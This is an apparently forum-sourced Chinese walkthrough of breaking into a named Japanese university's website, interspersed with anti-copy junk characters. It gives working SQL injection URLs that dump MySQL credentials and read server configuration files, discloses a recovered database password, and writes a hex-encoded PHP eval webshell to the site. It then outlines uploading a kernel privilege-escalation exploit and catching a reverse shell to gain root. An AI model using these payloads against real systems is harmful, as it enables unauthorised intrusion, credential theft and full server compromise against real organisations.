入侵日本同志社大学技术分析, f6 L$ T* L& `: _
! k2 C( u; W& l
http://www.doshisha.ac.jp/chs/news/index.php?i=-1# A: ?) _* V& O
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:: A8 a) V* S( T. A
9 A0 B/ i/ H3 [ p1 X- Lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
) @5 z' @; T- K5 l2 N0 J$ F# @
6 }3 ~1 T* _3 ]* t) m. @) D
U, r, h4 w) o: s
' ^' F& r7 z" y/ ^: _//@@datadir为数据库文件路径 # y7 u' h+ b8 b. A9 [& N- T L
9 e6 m$ z5 G- {3 g7 r) j% l8 o/ |, C
& [& M$ ^7 b! G: s# M" E% }
//load_file读取网站容器apache的配置文件 ( e* _ W% o$ C5 n' G, ?
. z9 j; H" f2 b
$ R9 p+ j$ ^ z9 F' R$ k' V( K//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
$ G" F$ A; H, L2 @- e8 ]: S) {% }- B复制代码
# M9 \. X9 `, d; J+ a
$ ^* i5 l" \0 X* C. E虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。" u, J: ~: `6 ~7 d3 X/ _
- u+ O, M2 N, B) M. f: P4 k而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
5 G6 |. k1 H, l0 {/ {: p/ G2 O(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
~( `6 z8 d6 b5 R$ ~ y
: I( V( {& X: _& q, p% d前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
3 U( I0 C( Q9 {9 n4 P如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html$ J$ R0 s" K3 W' [: m$ p
1 u4 x6 A( j, T O* {/ j
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
! P) t+ [4 ]8 d9 D虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。& k, N+ `& G7 O) N9 D1 g% E( G4 R
直接写一句话:: b$ z' L4 ^2 `# P
& T! h2 H2 w' t) |2 t$ l% E
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
/ ^4 M% k, _ K
+ V7 Z! p) y, ? X$ J+ j( I
% V n$ I+ ~5 L f
# H1 c+ p$ x2 B& a; B- k//最后的#是为了闭合前面的语句 & q# ~4 j1 ^1 `/ C
3 Q# s' w8 E9 l/ M
4 ]/ N! P+ |. [: R* f, m9 d' F
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
/ p2 \% o1 O3 t* L : q: N, V M ~2 ^8 t/ i, A
( u! e- M% S6 w为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
0 B- G! v. X$ C; C/ M0 C
# w' ^" U+ y0 X# {( S# C* ?. s$ \& i8 a
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
* B& P9 j1 X# n3 v/ t
7 _9 b' S: h5 f! ~, W/ Y. Y' J% y @' L% Z, l9 s* ?# T2 A4 Q5 E6 `
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
: [( P# O* O* n5 t//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 5 R; C. u) U/ g2 C0 N! m: {4 U0 y
复制代码
* h# e8 i" }+ H& K1 f5 g
( S8 S/ y: H. F% s& cHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
4 H+ _3 o x% X/ y m1 e通过上述注入语句,我们就得到了一句话木马:. ^% W+ D5 Z( N: S! C
5 ^0 t( G6 w5 e$ Y4 F
/ D% Q/ B% t0 h3 g0 C. _* J
# I% H+ t9 \8 l+ R- b( U
3 j+ a" f' e- z9 u% K. [ [
- h6 N+ W) `' v Lhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
6 B: J3 ^/ k) h3 _- G5 h复制代码$ D) H+ Q8 h% t% I; E5 T2 B6 B
% P- V3 b$ y( w. [8 ~7 p用菜刀连接,密码是cmd,如图所示:
+ B" s$ ]; @# Z$ w; l然后在命令提示行里看了一下,现在的权限是:3 c3 K( s, @$ n5 T r/ w
1 @5 ?' t6 U0 J+ V, x之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
9 M+ A8 }2 E. W0 j9 b! h J3 z好在赋权给这个文件夹不需要root,直接执行赋权语句: U* M, J8 `% [/ Y
5 c c( _6 I; z2 P1 N, P, U6 a5 r
) A3 F& U! o5 o9 X' P- y- o* X
0 T8 d3 v M3 j3 \+ H% o& R . l9 m! b x/ e- z6 m
5 O7 l" p. \) ^4 n! Gchmod +x /tmp/ * T4 T2 P3 H( ]2 r" n+ w! t/ Z
复制代码: E; L x1 \6 |* X3 V
3 N4 `$ y. ~! Q# i* q
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行3 K3 U7 c$ C+ x: y0 l; {
然后就查了一下内核版本: ^$ x9 d O. Z' M1 Z0 U, e
- z0 d' a& A5 J* n& i& C
; h/ O7 Y, ]! r' H6 L/ d: |7 ?4 F+ a; W, e) v
3 U: n. b1 t) N
7 S5 @) d3 ~2 `8 K! O7 N
uname-a
+ x6 g" F; H% D6 N! F6 ?; _. `( |
& l( R3 r9 E! W& r# [2 } M
! U9 G. U" w% X5 R2 w//其实lsb_release -a
- b8 X; b% L' U M复制代码9 @. B# D3 ^' G. z* p" W
1 z; i" P$ G3 M! S7 D! R1 R! L如图所示:4 A0 _0 N* y9 v3 ~5 a6 E# X
- F. I$ Z7 w g9 T2 {
内核版本:linux mainz1 2.6.28-194.e15! c: V/ i: x0 p6 ]+ N! e
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)* A, M8 F' ]8 k6 l$ N
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
/ A2 X/ B$ M) S {% q& l
/ m$ s" r8 Z; v$ n然后给予执行权限$ p& L8 T& c$ V: a; K0 j8 r3 i" g
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
1 V& ~9 K' q" D1 e/ z; p( Q
! K2 D8 q# x. V1 t% N0 H
, D# t% U$ ?/ l% t7 J( h6 L
, p8 ], O: o6 q7 Z" F 8 n8 K( V# X; [3 i
; O/ |+ H* q5 O9 H$ [) H/ m9 uchmod +x /tmp/2.6.18-194
- x5 A: Z% m# Y; y复制代码 然后直接执行!~/ i' {+ s! i7 d( e" X; b/ @9 }
3 A+ {( i9 d, [7 Q
总结:8 J- C0 z$ D% z3 N* H& m
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了! W9 l/ J3 x8 X- N
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root$ t( T: \3 P' r! G4 Y
: F. c$ s8 X7 O2 q' ^' |+ J |